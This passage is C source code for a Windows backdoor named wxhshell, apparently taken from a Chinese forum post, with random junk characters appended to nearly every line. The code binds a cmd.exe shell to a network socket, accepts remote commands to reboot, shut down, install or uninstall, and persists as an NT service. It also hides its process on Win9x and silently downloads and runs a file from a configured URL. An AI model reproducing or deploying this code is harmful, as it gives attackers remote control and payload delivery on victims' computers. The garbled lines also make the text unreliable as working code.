:G 5C ]'t  
    switch(cmd[0]) { +i=p5d5  
  C8.W5P[U  
  // 帮助 e!Br>^8l  
  case '?': { %K zbO0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x> \Bxa8  
    break; rz.IoQo  
  } BFh$.+D  
  // 安装 /cfHYvnz  
  case 'i': { Rg&19 }BU  
    if(Install()) A$@o'Q;he  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Fw?{0  
    else K_#UZA< Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lR@& Z6lw  
    break; -!TcQzHUs  
    } D0ruTS  
  // 卸载 .&iN(Bd  
  case 'r': { A"4@L*QV  
    if(Uninstall()) 3ji:O T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); + |C=ZU  
    else .S_QQM}Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U5<@<j(@  
    break; o/1JO_41  
    } RZh}:  
  // 显示 wxhshell 所在路径 (6R4 \8z2  
  case 'p': { &@6 GI<  
    char svExeFile[MAX_PATH]; g$w6kz_[  
    strcpy(svExeFile,"\n\r"); A(+:S"|@  
      strcat(svExeFile,ExeFile); ;SY.WfVA7  
        send(wsh,svExeFile,strlen(svExeFile),0); e+@xs n3  
    break; QNArZ6UQ  
    } :l"dYfl  
  // 重启 t$ZkdF  
  case 'b': { J3=BE2L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *1bzg/T<  
    if(Boot(REBOOT)) "IwM:v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )0-o%- e  
    else { m7m \`;  
    closesocket(wsh); cPuHLwwYf  
    ExitThread(0); e$wt&^W  
    } Uh}X<d/V  
    break; XLb0 9;  
    } tjxvN 4l  
  // 关机 C:GvP>  
  case 'd': { f xtxu?A>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `6F +Rrn  
    if(Boot(SHUTDOWN)) w$>3pQ8d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jBpVxv  
    else { 3cC }'j  
    closesocket(wsh); 1[DS'S  
    ExitThread(0); UX_I6_&  
    } zfjw;sUX  
    break; ?"j@;/=  
    } >a=d;  
  // 获取shell >^3zU   
  case 's': { >nry0 ;z0,  
    CmdShell(wsh); "EH,J  
    closesocket(wsh); l^r' $;<m  
    ExitThread(0); Mr* |9h  
    break; S$O,] @)  
  } +(mL~td01  
  // 退出 dJl^ADX[@  
  case 'x': { c7qwNs*f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [ H,u)8)  
    CloseIt(wsh); !8$RBD %  
    break;  YqU/\f+  
    } JJ5C}`(  
  // 离开 f1Zt?=  
  case 'q': { kCA5|u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cNj*E =~;  
    closesocket(wsh); io4aYB\  
    WSACleanup(); D1Yh,P<CF\  
    exit(1); ;+`uER  
    break; e<5Y94YE  
        } <TxC!{<  
  } lLCdmxbT  
  } #T\  
0M8.U  
  // 提示信息 uRQ_'l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); El6bD% \G  
} !kXeO6X@m  
  } l h/&__  
nbxR"UH  
  return; *IZf^-=Q  
} (X}@^]lpa  
T~s}Nx#  
// shell模块句柄 s, XM9h>P4  
int CmdShell(SOCKET sock) Y8ehmz|g]J  
{ H06Bj(Y!  
STARTUPINFO si; G$5m$\K  
ZeroMemory(&si,sizeof(si)); ]W) jmw'mo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \+Y!ILOI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GDPo`# ~  
PROCESS_INFORMATION ProcessInfo; HFS+QwHW  
char cmdline[]="cmd"; SLoo:)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rAXX}"l6s  
  return 0; |Td5l?  
} FC}oL"kk  
>n!ni(  
// 自身启动模式 >;nS8{2o  
int StartFromService(void) Coa-8j*R7  
{ @J vZ[T/  
typedef struct ~L4eZ  
{ D;js.ZF  
  DWORD ExitStatus; Ze ? g  
  DWORD PebBaseAddress; 0ar=cuDm  
  DWORD AffinityMask; |F!F{d^p  
  DWORD BasePriority; E _iO@  
  ULONG UniqueProcessId; mU G %LM  
  ULONG InheritedFromUniqueProcessId; `="v>qN2\  
}   PROCESS_BASIC_INFORMATION; 7GZq|M_:y  
Z2p> n`D  
PROCNTQSIP NtQueryInformationProcess; +t]Xj1Q  
3s(Ia^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ("Dv>&w9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZBc|438[  
8D~x\!(p\  
  HANDLE             hProcess; rt b*n~  
  PROCESS_BASIC_INFORMATION pbi; _;e\:7<m  
D,rZ0?R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z+idLbIs  
  if(NULL == hInst ) return 0; +?d}7zh  
`6Hf&u<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 97!5Q~I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xl] ;*&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =B(mIx;m  
?~F. /  
  if (!NtQueryInformationProcess) return 0; 9L)L|4A.l  
I/p]DT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ixw(c&gL  
  if(!hProcess) return 0; % vS8?nG  
.JAcPyK^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F2>%KuM  
d6.}.*7Whc  
  CloseHandle(hProcess); ?R6`qe_F  
0BTLcEqgZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <_:zI r,  
if(hProcess==NULL) return 0; (pYYkR"  
H(qm>h$bU  
HMODULE hMod; Y}.Ystem  
char procName[255]; /iC_!nu  
unsigned long cbNeeded; WE.Tuo5L  
 5$Kf]ZP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T *P+Fh"  
_#'9kx|)  
  CloseHandle(hProcess); oR %agvc^^  
i\p:#'zk5  
if(strstr(procName,"services")) return 1; // 以服务启动 Q 4K +*Fi}  
Tbh'_ F6  
  return 0; // 注册表启动 nj2gs,k  
} h>3H7n.  
Hed$ytMaGz  
// 主模块 OM!=ViN(=  
int StartWxhshell(LPSTR lpCmdLine) I; j3*lV_  
{ s4t0f_vj`  
  SOCKET wsl; E`AYee%l  
BOOL val=TRUE; 3N< & u   
  int port=0; }kPVtSQ  
  struct sockaddr_in door; ;CmOsA,1  
4lz{G*u  
  if(wscfg.ws_autoins) Install(); J{ ~Rxa  
9S1#Lr`r  
port=atoi(lpCmdLine); $G[KT):N  
zj20;5o>U&  
if(port<=0) port=wscfg.ws_port; xo~g78jm7,  
+,_c/(P  
  WSADATA data; mk=#\>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S< x:t(  
4/MNqit+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u~'OcO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T]71lRY5  
  door.sin_family = AF_INET; )zJ=PF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y8?t-Pp]1  
  door.sin_port = htons(port); =kFuJ x)f  
hKksVi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g42T#p8^  
closesocket(wsl); 4vqNule  
return 1; WK; (P4Z  
} )iSy@*nY  
\dV Too  
  if(listen(wsl,2) == INVALID_SOCKET) { &jm[4'$ *z  
closesocket(wsl); JEHK:1^  
return 1; qG9qN.|dC  
} ma]? )1<{  
  Wxhshell(wsl); 0Hcbkep9D  
  WSACleanup(); n\= (S9  
4VFc|g  
return 0; OCW+?B;  
n`<U"$*  
} (,LL[&;:  
'F5)ACA%  
// 以NT服务方式启动  :]c=pH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F<r4CHfh;  
{ ;r!\-]5$  
DWORD   status = 0; #F4X}  
  DWORD   specificError = 0xfffffff; |s|/]aD}o  
e2Jp'93o'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Taasi` k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Mi74Xl i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QymD-A"P  
  serviceStatus.dwWin32ExitCode     = 0; O71BM@2<  
  serviceStatus.dwServiceSpecificExitCode = 0; s.y}U5Ty?P  
  serviceStatus.dwCheckPoint       = 0; g1qi\axm  
  serviceStatus.dwWaitHint       = 0; FpzP #;  
`Bu9Nq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D5` (}  
  if (hServiceStatusHandle==0) return; *V|zx#RN  
p7UTqKi  
status = GetLastError(); @L;C_GEa  
  if (status!=NO_ERROR) XS|mKuMc C  
{ J px'W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f)^t')  
    serviceStatus.dwCheckPoint       = 0; "Ot{^ _e  
    serviceStatus.dwWaitHint       = 0; MPvWCPB  
    serviceStatus.dwWin32ExitCode     = status; qGa<@ b  
    serviceStatus.dwServiceSpecificExitCode = specificError; KjYDFrR4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); FpdHnu i1  
    return; }vD;DSz:  
  } GP]TnQ<*;  
o+^Eu}[.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vYzVY\   
  serviceStatus.dwCheckPoint       = 0; C BlXC7_Mi  
  serviceStatus.dwWaitHint       = 0; ;+%Z@b%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); if@,vc  
}  /q*KO\L  
':sTd^V  
// 处理NT服务事件,比如:启动、停止 {8:o?LnMW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^&m?qKN8  
{ .e$%[ )D  
switch(fdwControl) 'w6hW7"L  
{ UE7'B?  
case SERVICE_CONTROL_STOP: w `!LFHK  
  serviceStatus.dwWin32ExitCode = 0; ysVi3eq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w_H2gaQ  
  serviceStatus.dwCheckPoint   = 0; 3{pk5_c  
  serviceStatus.dwWaitHint     = 0; x@Vt[}e  
  { 0n5!B..m}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \G3!TwC%  
  } [B,p,Q"  
  return; 2 `&<bt[g  
case SERVICE_CONTROL_PAUSE: Nt,~b^9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {F!v+W>  
  break; u _X} -U  
case SERVICE_CONTROL_CONTINUE: ^j iE9k)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -<d(  
  break; !x_t`78T  
case SERVICE_CONTROL_INTERROGATE: I>Y{>S  
  break; I61%H9 ;  
}; k_O-5{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1p=&WM  
} fz8h]PZ  
Hf_'32e3<  
// 标准应用程序主函数 0etwz3NuW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -t>Z 9  
{ M8_R  
G"C;A`6  
// 获取操作系统版本 ;NG1{]|Z  
OsIsNt=GetOsVer(); 9A<0zt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mt^`1ekoY  
\!4|tBKVY  
  // 从命令行安装 ;q &0,B  
  if(strpbrk(lpCmdLine,"iI")) Install(); @T/qd>T o  
GEfY^! F+  
  // 下载执行文件 U2UyN9:6F  
if(wscfg.ws_downexe) { :iEAUM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P'F~\**5  
  WinExec(wscfg.ws_filenam,SW_HIDE); g8v[)o(qd  
} P4[]qbfd,  
6Ty 3e|do  
if(!OsIsNt) { {\Ys@FF  
// 如果时win9x,隐藏进程并且设置为注册表启动 @E(P9zQ/zy  
HideProc(); V" }*"P-%  
StartWxhshell(lpCmdLine); 6lZGcRO  
} WP!il(Gr  
else F-tFet  
  if(StartFromService()) Of&"U/^  
  // 以服务方式启动 KcnjF^k  
  StartServiceCtrlDispatcher(DispatchTable); sL8>GtVo  
else GVZTDrC  
  // 普通方式启动 "?[7#d])  
  StartWxhshell(lpCmdLine); -U:2H7  
`/c@nxh  
return 0; I3An57YV].  
}
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只看该作者 1 发表于: 2006-10-10
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